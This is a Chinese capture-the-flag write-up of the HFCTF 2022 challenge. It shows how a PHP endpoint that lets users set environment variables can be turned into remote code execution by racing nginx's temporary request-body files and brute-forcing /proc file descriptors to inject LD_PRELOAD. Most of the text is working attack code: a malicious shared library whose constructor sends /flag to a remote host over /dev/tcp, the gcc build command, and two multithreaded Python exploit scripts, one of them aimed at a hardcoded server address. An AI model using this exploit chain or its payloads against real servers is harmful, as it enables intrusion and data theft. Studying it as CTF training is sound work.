从一道题看LFI与RCE

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

FROM php:7.4.28-fpm-buster
LABEL Maintainer="yxxx"ENV REFRESHED_AT 2022-03-14ENV LANG C.UTF-8
RUN sed -i 's/http://security.debian.org/http://mirrors.163.com/g' /etc/apt/sources.listRUN sed -i 's/http://deb.debian.org/http://mirrors.163.com/g' /etc/apt/sources.listRUN apt upgrade -y &&     apt update -y &&     apt install nginx -y
ENV DEBIAN_FRONTEND noninteractive


COPY index.php /var/www/htmlCOPY default.conf /etc/nginx/sites-available/defaultCOPY flag /flag
EXPOSE 80
CMD php-fpm -D && nginx -g 'daemon off;'

ngx_fd_tngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access){    ngx_fd_t  fd;
    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,              access ? access : 0600);
    if (fd != -1 && !persistent) {        (void) unlink((const char *) name);    }
    return fd;}

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <error.h>#include <unistd.h>
int main() {    puts("[+] test for open/unlink/write [+]n");    int fd = open("test.txt", O_CREAT|O_EXCL|O_RDWR, 0600);    printf("open file with fd %d,try unlinkn",fd);
    unlink("test.txt");    printf("unlink file, try write contentn");    if(write(fd, "<?php phpinfo();?>", 19) != 19)    {        printf("write file error!n");    }
    char buffer[0x10] = {0};    lseek(fd, 0,SEEK_SET);    int size = read(fd, buffer , 19);    printf("read size is %dn",size);    printf("read buffer is %sn",buffer);
    while(1) {        sleep(10);    }    // close(fd);    return 0;}

dr-x------ 2 root root  0 Mar  22 15:33 ./dr-xr-xr-x 9 root root  0 Mar  22 15:33 ../lrwx------ 1 root root 64 Mar  22 15:33 0 -> /dev/pts/0lrwx------ 1 root root 64 Mar  22 15:33 1 -> /dev/pts/0lrwx------ 1 root root 64 Mar  22 15:33 2 -> /dev/pts/0lrwx------ 1 root root 64 Mar  22 15:33 3 -> /root/test/test (deleted)

#include <stdlib.h>#include <string.h>__attribute__ ((constructor)) void call (){    unsetenv("LD_PRELOAD");    char str[65536];    system("bash -c 'cat /flag' > /dev/tcp/ip/port");    system("cat /flag > /var/www/html/flag");}

gcc test.c -fpIC -shared -o libsss.so

import requestsimport threadingimport multiprocessingimport threadingimport randomURL = f'xxx.xxx.xxx.xxx'nginx_workers = [12, 13, 14, 15]done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$Xdef uploader():    while not done:        requests.get(URL, data=open("C:\Users\Desktop\libsss.so", "rb").read() + (16*1024*'A').encode())
for _ in range(16):    t = threading.Thread(target=uploader)    t.start()
def bruter(pid):    global done
    while not done:        print(f'[+] brute loop restarted: {pid}')        for fd in range(4, 32):            f = f'/proc/{pid}/fd/{fd}'            print(f)            try:                r = requests.get(URL, params={                    'env': 'LD_PRELOAD='+f,                })                print(r.text)            except Exception:                pass
for pid in nginx_workers:    a = threading.Thread(target=bruter, args=(pid, ))    a.start()

import requestsimport threadingimport multiprocessingimport threadingimport random
SERVER = "http://120.79.121.132:20674"NGINX_PIDS_CACHE = set([x for x in range(10,15)])# Set the following to True to use the above set of PIDs instead of scanning:USE_NGINX_PIDS_CACHE = True
def create_requests_session():    session = requests.Session()    # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead    adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)    session.mount('http://', adapter)    return session
def get_nginx_pids(requests_session):    if USE_NGINX_PIDS_CACHE:        return NGINX_PIDS_CACHE    nginx_pids = set()    # Scan up to PID 200    for i in range(1, 200):        cmdline = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D/proc/{i}/cmdline").text        if cmdline.startswith("nginx: worker process"):            nginx_pids.add(i)    return nginx_pids
def send_payload(requests_session, body_size=1024000):    try:        # The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast        payload = open("hack.so","rb").read()        requests_session.post(SERVER + "/index.php?action=read&file=/bla", data=(payload + (b"a" * (body_size - len(payload)))))    except:        pass
def send_payload_worker(requests_session):    while True:        send_payload(requests_session)
def send_payload_multiprocess(requests_session):    # Use all CPUs to send the payload as request body for Nginx    for _ in range(multiprocessing.cpu_count()):        p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))        p.start()
def generate_random_path_prefix(nginx_pids):    # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root    path = ""    component_num = random.randint(0, 10)    for _ in range(component_num):        pid = random.choice(nginx_pids)        if random.randint(0, 1) == 0:            path += f"/proc/{pid}/cwd"        else:            path += f"/proc/{pid}/root"    return path
def read_file(requests_session, nginx_pid, fd, nginx_pids):    nginx_pid_list = list(nginx_pids)    while True:        path = generate_random_path_prefix(nginx_pid_list)        path += f"/proc/{nginx_pid}/fd/{fd}"        try:            d = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D{path}").text        except:            continue        # Flags are formatted as hxp{<flag>}        if "HFCTF" in d:            print("Found flag! ")            print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids):    # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range    for fd in range(10, 45):        thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))        thread.start()
def read_file_multiprocess(requests_session, nginx_pids):    for nginx_pid in nginx_pids:        p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))        p.start()
if __name__ == "__main__":    print('[DEBUG] Creating requests session')    requests_session = create_requests_session()    print('[DEBUG] Getting Nginx pids')    nginx_pids = get_nginx_pids(requests_session)    print(f'[DEBUG] Nginx pids: {nginx_pids}')    print('[DEBUG] Starting payload sending')    send_payload_multiprocess(requests_session)    print('[DEBUG] Starting fd readers')    read_file_multiprocess(requests_session, nginx_pids)